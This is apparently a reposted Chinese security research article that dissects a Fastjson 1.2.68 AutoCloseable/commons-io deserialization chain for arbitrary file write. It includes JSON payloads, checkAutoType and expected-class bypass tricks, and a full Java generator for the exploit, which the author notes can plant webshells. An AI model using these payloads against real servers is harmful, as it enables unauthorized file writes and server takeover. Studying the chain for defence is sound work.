Fastjson 68 commons-io AutoCloseable

admin 2023年1月1日16:10:39评论9 views字数 18986阅读63分17秒阅读模式

前言

今天长亭公众号发了一个 fastjson commons-io AutoCloseable 的利用,正好我最近也在分析这个,看了一下,有相同的地方也有不同地方,那我也发出来一起学习交流吧。

我这是测试使用的是 commons-io 2.4 ,fastjson 1.2.68 ,对于不同版本,可能有细节不同,请自测。

前置知识

在 Fastjson 1.2.68 版本上,由浅蓝师傅挖提出了使用 expectClass 中的 AutoCloseable 进行文件读写操作的思路:“IntputStream 和 OutputStream 都是实现自 AutoCloseable 接口的,而且也没有被列入黑名单,所以只要找到合适的类,还是可以进行文件读写等高危操作的。”

由此 fastjson 漏洞利用思路从命令执行、JNDI 转为了写文件,在实战情况下,还是可以写入 webshell 拿到权限,因此这个思路成为了 68 版本之后 fastjson 中挖掘漏洞的新思路。

由于 fastjson 漏洞触发方式是调用 get/set/构造方法触发漏洞,因此对于写文件一类的操作,根据浅蓝师傅的文章,需要以下几个条件:

  • 需要一个通过 set 方法或构造方法指定文件路径的 OutputStream。
  • 需要一个通过 set 方法或构造方法传入字节数据的 OutputStream,参数类型必须是 byte[]、ByteBuffer、String、char[] 其中的一个,并且可以通过 set 方法或构造方法传入一个 OutputStream,最后可以通过 write 方法将传入的字节码 write 到传入的 OutputStream。
  • 需要一个通过 set 方法或构造方法传入一个 OutputStream,并且可以通过调用 toString、hashCode、get、set、构造方法 调用传入的 OutputStream 的 close、write 或 flush 方法。

以上三个组合在一起就能构造成一个写文件的利用链。

看一下师傅给的 poc:

{
    "stream": {
        "@type": "java.lang.AutoCloseable",
        "@type": "org.eclipse.core.internal.localstore.SafeFileOutputStream",
        "targetPath": "f:/test/pwn.txt",
        "tempPath": "f:/test/test.txt"
    },
    "writer": {
        "@type": "java.lang.AutoCloseable",
        "@type": "com.esotericsoftware.kryo.io.Output",
        "buffer": "YjF1M3I=",
        "outputStream": {
            "$ref": "$.stream"
        },
        "position": 5
    },
    "close": {
        "@type": "java.lang.AutoCloseable",
        "@type": "com.sleepycat.bind.serial.SerialOutput",
        "out": {
            "$ref": "$.writer"
        }
    }
}

我们来复现一下,成功写入文件:

那么这个 payload 为什么能成功写入文件呢?主要有以下几个需要注意点:

  • AutoCloseable 的接口可以绕过 checkAutoType。
  • 分别找到了不同的实现类来实现不同的功能:创建文件链接、写入内容、write/flush 等。
  • 使用了 fastjson 的 ref 进行对象引用,把这些类串联起来。

AutoCloseable 为什么可以绕过 checkAutoType 这里不再重复,在我之前的文章也分析过。

这里浅蓝找到了三个类分别实现了不同的功能:

  • org.eclipse.core.internal.localstore.SafeFileOutputStream:用来创建文件链接对象和OutputStream。
  • com.esotericsoftware.kryo.io.Output:用来向 OutputStream 中写入文件内容。
  • com.sleepycat.bind.serial.SerialOutput:用来触发 flush 方法将流写回文件中。

首先来看 SafeFileOutputStream。

这个类有一个两个参数的构造方法,接收参数 targetPath 和 tempPath。在构造方法里执行了如下操作:

  1. 对 targetPath/tempPath 路径的文件创建 File 对象,并放在 this.target/this.temp 属性中,如果 tempPath 参数不存在,则使用 targetPath + “.bak” 作为文件路径
  2. 将 targetPath 中的文件流拷贝入 tempPath 中。
  3. 将流(BufferedOutputStream 对象)放入 this.output

也就是说,我们只需要传入一个文件路径,SafeFileOutputStream 就会替我们创建 OutputStream 对象并保存在 this.output 中。

这是用到了 fastjson 的一个特性,在从 json 创建一个对象时,会使用 JavaBeanInfo.getDefaultConstructor 获取这个对象的无参构造方法,如果没有,则使用 JavaBeanInfo.getCreatorConstructor 会找到这个类的构造方法,并从 json 中寻找对应的参数,这些参数使用构造方法创建,不再使用 set 方法创建。相关原理看这篇文章。这里构造方法的获取逻辑暂时略过,感兴趣的可以自行查看源码。

也就是说,我们只需要构造 SafeFileOutputStream 类,并传入 targetPath/tempPath 两个参数,就会调用对应的构造方法了。

第二个类是 com.esotericsoftware.kryo.io.Output,这也是个 OutputStream 的实现类,类中定义了一些属性,其中 buffer 是 byte[] 类型的属性,是要写入 OutputStream 中内容;position 是 int 类型,代表了写入的大小;outputStream 是

Output 中有一个 flush 方法,调用 outputStream 对象的 write 和 flush 方法将内容输出到了文件中。

也就是说,如果我们能想办法调用到 flush 方法,就可以写出文件了。那该如何触发呢?

此时出现了第三个类,浅蓝师傅找到了 ObjectOutputStream 类,他有一个内部类 BlockDataOutputStream,在 ObjectOutputStream 有一个 OutputStream 参数的构造方法中创建。

并调用了其 setBlockDataMode 方法,这个方法由调用了 drain 方法,然后调用了 OutputStream 对象的 write 方法写入了数据。这个 write 方法可以满足触发 flush 方法的调用。

但是 ObjectOutputStream 有一个无参构造方法,fastjson 会优先获取这个构造方法,无法使用我们希望的构造方法去触发,由此浅蓝找了一个 ObjectOutputStream 的实现类来完成触发:com.sleepycat.bind.serial.SerialOutput

这个类有两个参数的构造方法,并且使用 super(out) 调用了 ObjectOutputStream 带参数的构造方法,可以触发文件的 flush 行为。

因此,由上三个类串到一起就可以完成文件的写入,这之中利用了 fastjson 的另一个特性:对象引用。从 fastjson 1.2.36开始,可以通过 $ref 指定被引用的属性。

JavaBeanDeserializer 支持 $ref 这种技巧,ThrowableDeserializer 不支持,后者没有parseField() 方法。

fastjson 默认提供对象引用功能,在传输的数据中出现相同的对象时,fastjson 默认开启引用检测将相同的对象写成引用的形式,对应如下:

引用 描述
"$ref":".." 上一级
"$ref":"@" 当前对象,也就是自引用
"$ref":"$" 根对象
"$ref":"$.children.0" 基于路径的引用,相当于 root.getChildren().get(0)

具体的处理代码在 JavaBeanDeserializer#deserialze 方法中:

这篇文章有简单的介绍,这种特性最早由 threedr3am 师傅使用来指定触发某些 getter 方法。因为会经过取值-赋值的过程,这里我们使用 $ref 关键字不是为了触发方法,只是为了进行对象的引用和传递。

有个这个特性,我们就可以在一次反序列化中使用 $ref 关键字进行引用的调用,完成 payload 的串联。

如同浅蓝所说:“这三个库实际组合起来危害危害一般,本文旨在给安全研究者提供一种针对此漏洞的 gadget 挖掘思路,危害更高的 gadget 还要靠自己不断挖掘。”

因此,想完成更落地的攻击方式,需要找到更常使用的库中的类。

PAYLOAD 分析

我拿到的 payload ,与浅蓝给出了 payload 思路类似,也是通过多个类实现不同的功能,然后进行组合串联,接下来分别分析一下。

CharSequenceInputStream

org.apache.commons.io.input.CharSequenceInputStream:接收 CharSequence 内容并初始化

这个类是 InputStream 的子类,构造方法接收参数 CharSequence 对象(s)、字符编码(charset)、字节大小(bufferSize),并初始化放在类属性中。

CharSequence 是 String 的父接口,我们使用 String 对象的数据即可。

由于这个类接收 CharSequence 对象,可以充当我们写入文件内容的入口类。写入的内容会放在 this.cbuf 中,这是一个 CharBuffer 对象。

使用如下 json 反序列化 CharSequenceInputStream 对象:

{
	"charSequenceInputStream": {
		"@type": "java.lang.AutoCloseable",
		"@type": "org.apache.commons.io.input.CharSequenceInputStream",
		"charset": "UTF-8",
		"bufferSize": 1,
		"s": {
			"@type": "java.lang.String""aaa"
		}
	}

可以看到,参数 s 是 CharSequence 接口,我们使用了他的子类 String,可以看到上面这个 json 并非完全格式化的 json,为什么会写成这样呢?

fastjson 为了解析的速度快,读取 token 时采取了基于预测的方式,也就是根据当前解析情况指定下一个 token 的期望字符。但是实际上的下一个字符串并不一定是期望字符,在不是的情况下,程序会调用无预期的 nextToken 方法进行解析,经过这个期望字符,程序就减少了 switch case 的次数,加快了解析速度。由于在无预期的 nextToken 方法中,将一些常出现的类型写在了外面,执行调用相关的 scanXXX 方法进行解析。因此,在某些写法中,可以以非常规的方式解析字符串。

例如如下代码:在检测到 @type 之后,使用以 “:” 作为期望进行解析后面的字符串类型,并以 “,” 作为期望预测下一个 token。在经过了 checkAutoType 之后,会根据 @type 指定的类型分配反序列化器进行后续的处理。

我们发现,在处理 String 类型的反序列化器 StringCodec 中,会继续读取字符串类型的 token,并返回结果。

因此,我们在传递 "@type": "java.lang.String""aaa" 给 fastjson 处理时,就会返回相应的 aaa,省略了中间过渡字符 “,”

这部分需要查看 fastjson 对于词法解析的代码实现及思想。

FileWriterWithEncoding

org.apache.commons.io.output.FileWriterWithEncoding:根据文件路径创建 File 对象,并初始化 Writer 方法。

这个类构造方法接收 file 参数、encoding 参数,创建 File 对象,并调用 initWriter 方法初始化 OutputStreamWriter 方法放在 this.out 中。

使用如下 json 反序列化 writer 对象:

{
	"writer": {
		"@type": "java.lang.AutoCloseable",
		"@type": "org.apache.commons.io.output.FileWriterWithEncoding",
		"file": "/Users/phoebe/Downloads/1.txt",
		"encoding": "UTF-8"
	}
}

WriterOutputStream

org.apache.commons.io.output.WriterOutputStream:将 writer 引入到 OutputStream 属性中,

WriterOutputStream 的构造方法接收参数 Writer(writer)、字符编码(charsetName)、字节大小(bufferSize)、标识是否立即写入的布尔型参数(writeImmediately)。

然后将这些参数在 WriterOutputStream 初始化。

WriterOutputStream 的 write 方法,会将接受到的 byte 数组通过 this.decoderIn 的 put 方法写入,使用 this.processInput 方法将 in 和 out 数据进行拷贝,并在 this.flushOutput 方法中调用 writer 的 write 方法写出 this.decoderOut 中的数据。

我们不关心中间的调用过程,简单来说,WriterOutputStream 的 write 方法会调用 writer 将接受到的字节数据写出去。

这里有个大坑,fastjson 在反序列化这个类时,在获取构造方法时,可能会获取到下面的两种其中的一个。

但是 CharsetDecoder 是一个抽象类,也没有继承 AutoCloseable 接口,所以我们无法使用 AutoType 进行创建,只能使用带有 charsetName 的构造方法创建。

使用如下 json 反序列化 WriterOutputStream 对象:

{
	"writerOutputStream": {
		"@type": "java.lang.AutoCloseable",
		"@type": "org.apache.commons.io.output.WriterOutputStream",
		"writeImmediately": true,
		"bufferSize": 1,
		"charsetName": "UTF-8",
		"writer": {writer对象}
	}
}

现在我们有了接收输入(文件内容)的 InputStream,负责输出的 OutputStream 和 Writer(文件路径),接下来我们还需要找到将 InputStream 和 OutputStream 进行转换,以及触发写出文件操作。

TeeInputStream

org.apache.commons.io.input.TeeInputStream:接收 InputStream 及 OutputStream,并提供将 InputStream 中的字节写入 OutputStream 的功能,以及提供调用两者 close 的功能。

TeeInputStream 是 FilterInputStream 的子类,会在构造方法中会把 InputStream 放在 this.in 中。

TeeInputStream 的 read 方法会调用其父类 ProxyInputStream 的对应 read 方法读取 this.in 中的内容,并调用 this.branch 中的 OutputStream 对象的 write 方法进行写入。

使用如下 json 反序列化 TeeInputStream 对象:

{
	"teeInputStream": {
		"@type": "java.lang.AutoCloseable",
		"@type": "org.apache.commons.io.input.TeeInputStream",
		"input": {InputStream 对象},
		"branch": {OutputStream 对象},
		"closeBranch": true
	}
}

BOMInputStream

org.apache.commons.io.input.BOMInputStream:调用 InputStream 的 read 方法读取字节。

这个类是 commons-io 用来检测文件输入流的 BOM 并在输入流中进行过滤,根据 org.apache.commons.io.ByteOrderMark 中的属性,BOMInputStream 支持识别以下几种 BOM。

BOMInputStream 与 TeeInputStream 同继承了父类 ProxyInputStream,其初始化参数 delegate 接收 InputStream,使用父类构造方法放入 this.in 中,boms 是 ByteOrderMark 类的可变参数数组,用来指定不同编码的 BOM 头部,会处理成 List 对象存入 this.boms 中。

ByteOrderMark 就是 commons-io 包对流中 BOM 头部的封装,这个类接收 charsetName 和名为 bytes 的可变参数 int 数组,这个 int 数组用来表示不同编码的字节顺序标记的表示:

对应到百度百科中的表格:

BOMInputStream 中存在一个 getBOM() 方法,这个方法原本的作用就是根据类初始化时传入的 InputStream 对象以及 ByteOrderMark 配置,在流中读取对应的 ByteOrderMark。

这个方法创建了一个 for 循环,根据类初始化时的 ByteOrderMark 的 int 数组长度,调用 this.in 的 read 方法在流中循环读取相应长度的数据。

使用如下 json 反序列化 BOMInputStream 对象:

{
	"bOMInputStream": {
		"@type": "java.lang.AutoCloseable",
		"@type": "org.apache.commons.io.input.BOMInputStream",
		"delegate": {InputStream 对象},
		"boms": [{
			"charsetName": "UTF-8",
			"bytes": [0, 0, 0, 0]
		}]
	}
}

GETTER 方法调用

这个 BOMInputStream 的 getBOM 方法就是触发这条 gadget 的方法,我们结合上面的全部分析一起看一下:

  • BOMInputStream 初始化一个 TeeInputStream 和一个 ByteOrderMark 数组,里面存放了一个指定长度的 int 数组,用来读取相应长度的输入流;
  • TeeInputStream 初始化了一个 CharSequenceInputStream 和 WriterOutputStream,无论调用 TeeInputStream 的任意一个 read 方法,都会将读取的内容同步调用 WriterOutputStream 的 write 方法写入其中;
  • CharSequenceInputStream 初始化输入的字符串(实际上是 CharSequence 对象)、字符编码、以及缓冲区大小(最大 255)用于创建 InputStream 对象;
  • WriterOutputStream 初始化 FileWriterWithEncoding 以及一些属性,WriterOutputStream 的 write 方法会将字节进行写入,如果参数 writeImmediately 为 true,会调用 OutputStreamWriter 的 write 方法进行写出。

以上过程使用代码正向调用的话,过程如下,可成功创建文件:

CharSequenceInputStream inputStream    = new CharSequenceInputStream("aaaa", "UTF-8", 4);
FileWriterWithEncoding  fileWriter     = new FileWriterWithEncoding("/Users/phoebe/Downloads/12.txt", "UTF-8", false);
WriterOutputStream      outputStream   = new WriterOutputStream(fileWriter, "UTF-8", 4, true);
TeeInputStream          teeInputStream = new TeeInputStream(inputStream, outputStream, true);
ByteOrderMark           byteOrderMark  = new ByteOrderMark("UTF-8", new int[]{0, 0, 0, 0});
BOMInputStream          bomInputStream = new BOMInputStream(teeInputStream, byteOrderMark);
bomInputStream.getBOM();
bomInputStream.close();

这当中各个类的初始化方法均可以使用 fastjson 来构造,那么问题来了,现在我们需要想办法触发 bomInputStream 对象的 getBOM 方法和 close 方法。

在什么时候 fastjson 会调用类的 getXXX 方法呢?那就是序列化的时候,这里就用到了 Fastjson 的另一个特性,首先我们创建一个类用于测试。

public class Person {

	private String name;

	private int _a_g_e_;

	private String gender;

	private HashMap<?, ?> map;

	static {
		System.out.println("static block called");
	}

	public Person() {
		System.out.println("non-parameter constructor called");
	}

	public Person(String name, int age, String gender, HashMap<?, ?> map) {
		System.out.println("constructor called");
		this.name = name;
		this._a_g_e_ = age;
		this.gender = gender;
		this.map = map;
	}

	public String getName() {
		System.out.println("name getter called");
		return name;
	}

	public String getA() {
		System.out.println("Interesting Getter");
		return "s";
	}

	public void setName(String name) {
		System.out.println("name setter called");
		this.name = name;
	}

	public int getAge() {
		System.out.println("age getter called");
		return _a_g_e_;
	}

	public void setAge(int age) {
		System.out.println("age setter called");
		this._a_g_e_ = age;
	}

	public String setGender() {
		System.out.println("gender setter called");
		return gender;
	}

	public HashMap<?, ?> getMap() {
		System.out.println("map getter called");
		return map;
	}

	@Override
	public String toString() {
		return "Person{" +
				"name='" + name + '\'' +
				", age=" + _a_g_e_ +
				", gender='" + gender + '\'' +
				", map=" + map +
				'}';
	}
}

这个类部分属性有 getter 方法,部分属性没有,但是 getXXX 的 XXX 并不一定与属性变量名相同,还有一些 getter 方法不对应到类的属性,仅仅是以 getXXX 的方式命名,如果我们要对这个类进行序列化。结果会是什么样的呢?

通过结果可以看到,fastjson 的序列化过程,其实与类的属性值无关, 他仅仅拿出了类中所有命名规则为 getABC 的方法,把 get 去掉并把 A 编程小写当做属性值,也就是说如果 getABC 如果返回了 aaa ,那对于 fastjson 来说,类中的属性 aBC 的值为 aaa(当然选取 getter 方法需要满足几个条件,在之前的文章说过,这里不再赘述)。在这篇博客中博主对三个最常用的 json 处理框架进行了测试,得出了类似的结果。

在上面的例子中,我们使用了 JSON.toJSONString 方法为对象创建序列化字符串,触发了类中的全部 getXXX 方法,那在实际的反序列化的过程中如何触发呢?

答案是使用反序列化 Map 对象的特性。这里我们来跟一下 fastjson 的处理逻辑。在 parseObject 方法中,首先调用 parse 进行反序列化,然后调用 JSON.toJSON() 将 Java 对象转为 JSONObject 对象。

toJSON 方法中判断如果对象类型是 Map 对象时,将会调用 MapSerializer 的 write 方法获取 Map 中的键值对中的 value 的对象,并再次调用 toJSON 方法(递归自调用)。

处理这个 value 对象时,会调用 javaBeanSerializer.getFieldValuesMap 方法获取对象中的属性值。

这个方法调用 FieldSerializer 的 getPropertyValue 方法来获取属性值。

调用 fieldInfo 的 get 方法获取获取属性值。

这个方法通过反射调用对象 getter 方法获取值。

这就正好满足了我们的调用链,将要反序列化的目标类放在 Map 对象的 value 中,让 fastjson 反序列化这个 map 对象,将会触发这个类的 getter 方法。

在上面的分析中,我们使用了 parseObject 方法的调用解析,可以触发 getter,那如果使用 parse方法解析,还能触发吗?

parse 与 parseObject

这里需要注意的是,fastjson 中的 parseparseObject 方法都可以用来将 json 字符串反序列化成 Java 对象,parseObject 本质上也是调用 parse 进行反序列化的。但是 parseObject 会额外的将 Java 对象转为 JSONObject 对象,即 JSON.toJSON()。所以进行反序列化时的细节区别在于,parse 会识别并调用目标类的 setter 方法及某些特定条件的 getter 方法,而 parseObject 由于多执行了 JSON.toJSON(obj),所以在处理过程中会调用反序列化目标类的所有 settergetter 方法。

因此,如果想要同时兼容 parseparseObject 方法,就要找到一种方法可以让其在反序列化过程中调用到 JSON.toString 方法。

在 fastjson 的反序列化过程中,会使用不同的处理器负责不同类型(class)的反序列化流程。在 ParserConfig.initDeserializers() 方法中定义。

其中有一个 MiscCodec 方法,在 fastjson 1.2.47 使用 java.lang.Class 缓存绕过检查时曾经遇见过,不过这次使用的类,是 java.util.Currency

在 MiscCodec 的 deserialze 方法中,会解析 “val” 中的内容放入 objVal 中,并对其进行解析。

如果 objVal 是 JSONObject 对象,并且 @type 的 clazz 是 Currency 对象的话,会调用 JSONObject 的 getString 方法获取 key 为 currency 的值,如果值为 null 则获取 key 为 currencyCode 的值。

并调用了其 value 对象的 toString 方法,如果这个对象为 JSONObject ,那就会调用 JSONObject 的 toString 方法,就是 JSON.toString,调用 toJSONString 方法,如果其中是 Map 类型的数据,就可以按照之前的分析触发 getter 方法的调用。

所以我们按照上述流程构造 json:

{
	"@type": "java.util.Currency",
	"val": {
		"currency": {
			"abc": {
				"@type": "java.util.Map",
				"aaa": {
					"@type": "org.su18.fastjson.common.Person",
					"a": "s",
					"age": 12,
					"name": "su18"
				}
			}
		}
	}
}

这样就可以在使用 parse 的情况下也触发 getter/setter 方法。

这里我们发现,如果不写 "@type": "java.util.Map",同样可以触发 getter/setter 方法,因为在不使用 @type 指定类时,这种键值对的写法会被处理成 JSONObject,同样使用 MapSerializer 处理,能够进行触发。

指定 class 对象

最后,再在外面嵌套一层键值,用来兼容当指定了反序列化的期待类时的情况:

{"su18": {payload}}

如果 fastjson 在解析时指定了类型 JSON.parseObject(json,Test.class)。此时如果我们想用 @type 去指定类型解析,程序将会在 checkAutoType 时抛出 type not match 异常,我们需要在 payload 的 json 外再包裹一层来绕过。

这里能够绕过指定类型的原理是,在指定了类后,fastjson 就会直接尝试创建这个类,即使我们给他传递的 field(也就是上面的 su18)指定类里没有。但是 fastjson 还是会继续处理和反序列化其中的内容。

但是这种情况还有一个限制,那就是需要 fastjson 指定的类有无参的构造方法,否则将可能无法创建类。

文件写出

现在万事俱备,只欠东风。如何才能将我们千辛万苦放到流中的内容写回去呢?首要的想法肯定是触发调用 close/flush 一类的方法,就像浅蓝的 payload 里那样,但是这样的方法太少了,太难找了。

除了调用,还有什么方式能够触发 flush 呢?这种情况让我们想起了 BufferedOutputStream,在缓冲区写满了之后,会触发自动写出文件内容,这正好是我们需要的触发方式。

那我们可不可以使用类似的方式触发呢?我们来看一下我们使用的 WriterOutputStream 对象。WriterOutputStream 写出流内容依赖其中的 Writer 对象,在我们的调用链中,使用了 FileWriterWithEncoding 。

这个方法实际上是 OutputStreamWriter 的完全封装,在创建了 FileOutputStream 后使用 OutputStreamWriter 进行封装。

类中使用了 StreamEncoder 流。

在 StreamEncoder 中定义了默认的缓冲区大小是 8192。

在执行写文件的实现方法中,会判断当前缓冲区内容管是否溢出,如果有溢出,则执行写出动作。

这部分的具体分析可以观看这篇文章

也就是说,我们满足在字符串写入的时候保证流大小超出这个缓冲区即可。

生成代码

这里我为生成上述的完整 payload 编写了一个工具类,方便测试:

package org.su18.fastjson.test;


import com.alibaba.fastjson.JSON;
import org.apache.commons.io.FileUtils;

import java.io.File;
import java.io.IOException;

/**
 * fastjson 1.2.68 autocloseable commons-io poc 生成工具类
 *
 * @author su18
 */
public class POC {

	public static final String AUTOCLOSEABLE_TAG = "\"@type\":\"java.lang.AutoCloseable\",";

	/**
	 * 在 payload 外包裹一层绕过指定类型
	 *
	 * @param payload payload
	 * @return 返回结果
	 */
	public static String bypassSpecializedClass(String payload) {
		return "{\"su18\":" + payload + "}";
	}


	/**
	 * 使用 Currency 类解析调用 "currency" 中 value 的 toString 方法,使用 JSONObject 方法调用 toJSONString
	 *
	 * @param payload payload
	 * @return 返回结果
	 */
	public static String useCurrencyTriggerAllGetter(String payload, boolean ref) {
		return String.format("{\"@type\":\"java.util.Currency\",\"val\":{\"currency\":%s%s}}%s",
				(ref ? "" : "{\"su19\":"), payload, (ref ? "" : "}"));
	}


	/**
	 * 生成 CharSequenceInputStream 反序列化字符串
	 *
	 * @param content 写入内容
	 * @param ref     是否使用引用对象
	 * @return 返回结果
	 */
	public static String generateCharSequenceInputStream(String content, boolean ref) {
		int mod = 8192 - content.length() % 8192;

		StringBuilder contentBuilder = new StringBuilder(content);
		for (int i = 0; i < mod+1; i++) {
			contentBuilder.append(" ");
		}

		return String.format("{%s\"@type\":\"org.apache.commons.io.input.CharSequenceInputStream\"," +
						"\"charset\":\"UTF-8\",\"bufferSize\":4,\"s\":{\"@type\":\"java.lang.String\"\"%s\"}",
				ref ? AUTOCLOSEABLE_TAG : "", contentBuilder);
	}


	/**
	 * 生成 FileWriterWithEncoding 反序列化字符串
	 *
	 * @param filePath 要写入的文件位置
	 * @param ref      是否使用引用对象
	 * @return 返回结果
	 */
	public static String generateFileWriterWithEncoding(String filePath, boolean ref) {
		return String.format("{%s\"@type\":\"org.apache.commons.io.output.FileWriterWithEncoding\"," +
				"\"file\":\"%s\",\"encoding\":\"UTF-8\"}", ref ? AUTOCLOSEABLE_TAG : "", filePath);
	}

	/**
	 * 生成 WriterOutputStream 反序列化字符串
	 *
	 * @param writer writer 对象反序列化字符串
	 * @param ref    是否使用引用对象
	 * @return 返回结果
	 */
	public static String generateWriterOutputStream(String writer, boolean ref) {
		return String.format("{%s\"@type\":\"org.apache.commons.io.output.WriterOutputStream\",\"writeImmediately\":true," +
						"\"bufferSize\":4,\"charsetName\":\"UTF-8\",\"writer\":%s}",
				ref ? AUTOCLOSEABLE_TAG : "", writer);
	}


	/**
	 * 生成 TeeInputStream 反序列化字符串
	 *
	 * @param inputStream  inputStream 类
	 * @param outputStream outputStream 类
	 * @param ref          是否使用引用对象
	 * @return 返回结果
	 */
	public static String generateTeeInputStream(String inputStream, String outputStream, boolean ref) {
		return String.format("{%s\"@type\":\"org.apache.commons.io.input.TeeInputStream\",\"input\":%s," +
				"\"closeBranch\":true,\"branch\":%s}", ref ? AUTOCLOSEABLE_TAG : "", inputStream, outputStream);
	}


	/**
	 * 生成 BOMInputStream 反序列化字符串
	 *
	 * @param inputStream inputStream 类
	 * @param size        读取 byte 大小
	 * @return 返回结果
	 */
	public static String generateBOMInputStream(String inputStream, int size) {

		int nums = size / 8192;
		int mod  = size % 8192;

		if (mod != 0) {
			nums = nums + 1;
		}

		StringBuilder bytes = new StringBuilder("0");
		for (int i = 0; i < nums * 8192; i++) {
			bytes.append(",0");
		}
		return String.format("{%s\"@type\":\"org.apache.commons.io.input.BOMInputStream\",\"delegate\":%s," +
						"\"boms\":[{\"charsetName\":\"UTF-8\",\"bytes\":[%s]}]}",
				AUTOCLOSEABLE_TAG, inputStream, bytes);
	}


	/**
	 * 读取文件内容字符串
	 *
	 * @param file 文件路径
	 * @return 返回字符串
	 */
	public static String readFile(File file) {
		String result = "";

		try {
			result = FileUtils.readFileToString(file);
		} catch (IOException e) {
			e.printStackTrace();
		}

		return result;
	}


	/**
	 * 生成普通 payload
	 *
	 * @param payloadFile    写入文件本地存储位置
	 * @param targetFilePath 写出目标文件位置
	 * @return 返回 payload
	 */
	public static String generatePayload(String payloadFile, String targetFilePath) {
		File   file        = new File(payloadFile);
		String fileContent = readFile(file);
		if (!"".equals(fileContent)) {
			return bypassSpecializedClass(
					useCurrencyTriggerAllGetter(
							generateBOMInputStream(
									generateTeeInputStream(generateCharSequenceInputStream(fileContent, false),
											generateWriterOutputStream(
													generateFileWriterWithEncoding(targetFilePath, false),
													false),
											false),
									(int) file.length()),
							false));
		}

		return "";
	}

	/**
	 * 生成引用型 payload
	 *
	 * @param payloadFile    写入文件本地存储位置
	 * @param targetFilePath 写出目标文件位置
	 * @return 返回 payload
	 */
	public static String generateRefPayload(String payloadFile, String targetFilePath) {
		File   file        = new File(payloadFile);
		String fileContent = readFile(file);
		if (!"".equals(fileContent)) {
			return bypassSpecializedClass(
					useCurrencyTriggerAllGetter(
							"{\"writer\":" + generateFileWriterWithEncoding(targetFilePath, true) +
									",\"outputStream\":" + generateWriterOutputStream("{\"$ref\":\"$.currency.writer\"}", true) +
									",\"charInputStream\":" + generateCharSequenceInputStream(fileContent, true) +
									",\"teeInputStream\":" + generateTeeInputStream("{\"$ref\":\"$.currency.charInputStream\"}", "{\"$ref\":\"$.currency.outputStream\"}", true) +
									",\"inputStream\":" + generateBOMInputStream("{\"$ref\":\"$.currency.teeInputStream\"}", (int) file.length()) + "}"
							, true
					)
			);
		}

		return "";

	}


	public static void main(String[] args) {
		String file   = "/Users/phoebe/Downloads/12.txt";
		String target = "/Users/phoebe/Downloads/123.txt";

		// 正常调用 payload 生成
		String payload = generatePayload(file, target);

		// 引用类型 payload 生成
		String payloadWithRef = generateRefPayload(file, target);

//		以下三种调用方式均可兼容,触发反序列化
//		JSON.parse(payloadWithRef);
		JSON.parseObject(payloadWithRef);
//		JSON.parseObject(payloadWithRef,POC.class);
	}

}

综述

在这条反序列化调用链中,我们一共使用了 fastjson 的如下几个特性:

  1. fastjson 优先将 json 中的参数交给构造方法去调用,这扩展了 fastjson 反序列化的漏洞面,不局限于 getter/setter 方法,也可以使用构造方法的参数传递变量,进行类的初始化;
  2. 对 getter 方法的定义宽泛,无需有相关成员变量,只要命名为 “getXXX” 类型的方法,fastjson 就会认为其为 getter 方法进行调用,这就不局在限于成员变量中的 getter 方法,只要叫 getXXX 的方法都可以成为触发漏洞的方法;
  3. 反序列化一个 Map(JSONObject 也是 Map 的实现) 对象时,会使用 MapSerializer 的 writer 方法执行获取 value 对象的各项属性的操作,会反射调用 value 对象中的 getter 方法;
  4. 如果反序列化的指定类是 java.util.Currency ,使用 MiscCodec 的 deserialze 方法,获取 currencyCode 或者 currency 的值,并调用其 toString 方法,如果这个值的类是 JSONObject 方法,将会调用 JSONObject 的 toString,也就是 JSON.toJSONString,触发 getter/setter 方法的调用;
  5. 指定类型反序列化时,不论参数是否对应,fastjson 都会去创建对象,并处理相关内容,因此使用外层嵌套可以绕过指定期待类进行反序列化;
  6. 使用 AutoCloseable 子类绕过 AutoType 检测,尝试读写文件。

结合这 6 条特性, 可以通杀服务器上任意一种写法的 json 解析,并且可以指定调用任意符合条件的 getter/setter/构造方法,大大扩大了漏洞挖掘的范围。

总结

这里我们首先可以看到,在 fastjson 实现序列化和反序列化的种种功能时,具体实现并不是完全按照标准,而是使用了很多奇怪的想法来实现,导致使用奇奇怪怪的 json 喂给 fastjson 去反序列化可以出现难以预期的结果,也就是在安全研究人员眼里所谓的特性。

这条链不是我挖的,能挖出这条利用链的人员实在是强,他一定对 fastjson 的几乎各个细节的实现方式都很了解,才能组合出如此美丽的 payload。这才是真正的踏踏实实的安全研究,而不是功利性的,为了给公司吹水、包装产品而做的伪工作,膜拜了,不知道我什么时候能到这种水平。

而在如此多的特性下,一定还有更多的调用链被挖掘出来。

网上 fastjson 漏洞调试的文章很多,太多了,包括我自己也写了一篇,但是都真的写明白了吗?都真的理解了吗?并不尽然,已知的漏洞调用流程可能多多少少都清楚,但是技术细节究竟是怎么实现的?实现的有什么问题?安全上能带来什么?

这些问题可能 95% 的安全从业人员都无法清楚明白的回答,做安全,就应该静下心来看实现,搞研究。学的越多,才发现自己不会的越多,加油吧。

FROM:素十八[su18]

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年1月1日16:10:39
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Fastjson 68 commons-io AutoCloseablehttp://cn-sec.com/archives/1493741.html

发表评论

匿名网友 填写信息